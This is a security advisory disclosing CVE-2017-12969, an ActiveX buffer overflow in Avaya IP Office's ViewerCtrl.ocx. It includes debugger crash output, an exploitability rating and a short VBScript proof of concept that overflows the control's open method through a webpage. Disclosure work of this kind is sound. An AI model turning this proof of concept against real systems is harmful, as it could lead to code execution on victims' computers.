156 lines
No EOL
5.4 KiB
Text
156 lines
No EOL
5.4 KiB
Text
[+] Credits: John Page (aka hyp3rlinx)
|
|
[+] Website: hyp3rlinx.altervista.org
|
|
[+] Source: http://hyp3rlinx.altervista.org/advisories/AVAYA-OFFICE-IP-(IPO)-v9.1.0-10.1-VIEWERCTRL-ACTIVE-X-BUFFER-OVERFLOW-0DAY.txt
|
|
[+] ISR: ApparitionSec
|
|
|
|
|
|
|
|
Vendor:
|
|
=============
|
|
www.avaya.com
|
|
|
|
|
|
|
|
Product:
|
|
===========
|
|
Avaya IP Office (IPO)
|
|
v9.1.0 - 10.1
|
|
|
|
IP Office is Avaya's global midsize solution for enterprises, supporting up to 3,000 users at a single location with IP Office Select editions.
|
|
For businesses with multiple locations, IP Office provides a powerful set of tools to help streamline operations, centralize management, and
|
|
reduce total cost of ownership for converged networks. Using industry standards, IP Office enables companies to share resources, provide
|
|
improved customer service, and keep mobile employees accessible.
|
|
|
|
Provides a hybrid PBX with TDM and IP telephony and trunk support.
|
|
Provides IP routing, switching and firewall protection, between LAN and WAN (LAN2).
|
|
|
|
In addition to basic telephony services and voicemail, IP Office offers both hard phone and soft phone options.
|
|
Includes a robust set of tools for administration (Manager), call tracking (SMDR), and system monitoring and diagnostics (System Status Application).
|
|
|
|
Available editions: Basic, Essential, Preferred, Server, Server Select, Server with Virtualized Software, Server/Sever Select hosted in the Cloud.
|
|
|
|
|
|
|
|
Vulnerability Type:
|
|
====================
|
|
ActiveX Remote Buffer Overflow
|
|
|
|
|
|
|
|
|
|
CVE Reference:
|
|
==============
|
|
CVE-2017-12969
|
|
ASA-2017-313
|
|
|
|
|
|
|
|
Security Issue:
|
|
================
|
|
ViewerCtrl.ocx ActiveX Component used by Avaya IP Office (IPO) can be exploited by remote attackers to potentially execute arbitrary
|
|
attacker supplied code. User would have to visit a malicious webpage using InternetExplorer where the exploit could be triggered.
|
|
|
|
Clsid: {27F12EFD-325D-4907-A2D2-C38A2B6D3334}
|
|
Safe for Script: False
|
|
Safe for Init: False
|
|
|
|
ACCESS_VIOLATION
|
|
8C4A77 MOV EAX,[ECX]
|
|
|
|
SEH Chain:
|
|
-----------
|
|
1 8D00A3 po.dll
|
|
2 36A7E95 CIPElements.dll
|
|
3 36A8115 CIPElements.dll
|
|
4 788719 ViewerCtrl.OCX
|
|
5 788533 ViewerCtrl.OCX
|
|
6 78862A ViewerCtrl.OCX
|
|
7 6008793E mfc90u.dll
|
|
8 60089B31 mfc90u.dll
|
|
9 779858C5 ntdll.dll
|
|
|
|
|
|
(d360.1040c): Access violation - code c0000005 (first/second chance not available)
|
|
*** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll -
|
|
*** ERROR: Symbol file could not be found. Defaulted to export symbols for po.dll -
|
|
*** ERROR: Symbol file could not be found. Defaulted to export symbols for CIPElements.dll -
|
|
eax=0608ec18 ebx=00000000 ecx=00000000 edx=00000000 esi=0aa7bdd0 edi=0aa7bdd0
|
|
eip=06064a77 esp=03535c78 ebp=03535db0 iopl=0 nv up ei pl zr na pe nc
|
|
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
|
|
po!cip::po::SpecialObjects::getPresetObject+0x77:
|
|
06064a77 8b01 mov eax,dword ptr [ecx] ds:002b:00000000=????????
|
|
0:008> !load winext/msec
|
|
0:008> !exploitable
|
|
|
|
!exploitable 1.6.0.0
|
|
*** ERROR: Module load completed but symbols could not be loaded for mfc90u.dll
|
|
*** ERROR: Symbol file could not be found. Defaulted to export symbols for mshtml.dll -
|
|
*** ERROR: Symbol file could not be found. Defaulted to export symbols for user32.dll -
|
|
*** ERROR: Symbol file could not be found. Defaulted to export symbols for ieframe.dll -
|
|
*** ERROR: Symbol file could not be found. Defaulted to export symbols for iertutil.dll -
|
|
*** ERROR: Symbol file could not be found. Defaulted to export symbols for IEShims.dll -
|
|
*** ERROR: Symbol file could not be found. Defaulted to export symbols for kernel32.dll -
|
|
|
|
Exploitability Classification: PROBABLY_EXPLOITABLE
|
|
|
|
Recommended Bug Title: Probably Exploitable - Data from Faulting Address controls Code Flow starting at
|
|
po!cip::po::SpecialObjects::getPresetObject+0x0000000000000077 (Hash=0x6f1f914b.0xc46b7285)
|
|
|
|
The data from the faulting address is later used as the target for a branch.
|
|
|
|
|
|
References:
|
|
==============
|
|
https://downloads.avaya.com/css/P8/documents/101044091
|
|
|
|
|
|
Exploit/POC:
|
|
=============
|
|
|
|
<object classid='clsid:27F12EFD-325D-4907-A2D2-C38A2B6D3334' id='victim' />
|
|
|
|
<script language='vbscript'>
|
|
victimFile = "C:\Program Files (x86)\Avaya\IP Office Contact Center\User Interface\ViewerCtrl.ocx"
|
|
prototype = "Function open ( ByVal containerId As String ) As Long"
|
|
memberName = "open"
|
|
progid = "ViewerCtrlLib.ViewerCtrl"
|
|
argCount = 1
|
|
payload=String(5142, "A")
|
|
|
|
victim.open payload
|
|
|
|
</script>
|
|
|
|
|
|
Network Access:
|
|
===============
|
|
Remote
|
|
|
|
|
|
|
|
|
|
Severity:
|
|
=========
|
|
High
|
|
|
|
|
|
|
|
Disclosure Timeline:
|
|
=============================
|
|
Vendor Notification: July 12, 2017
|
|
Vendor acknowlegement: July 14, 2017
|
|
CVE assigned by mitre : August 19, 2017
|
|
Vendor advisory : November 4, 2017
|
|
November 5, 2017 : Public Disclosure
|
|
|
|
|
|
|
|
[+] Disclaimer
|
|
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
|
|
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
|
|
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
|
|
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
|
|
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
|
|
or exploits by the author or elsewhere. All content (c).
|
|
|
|
hyp3rlinx |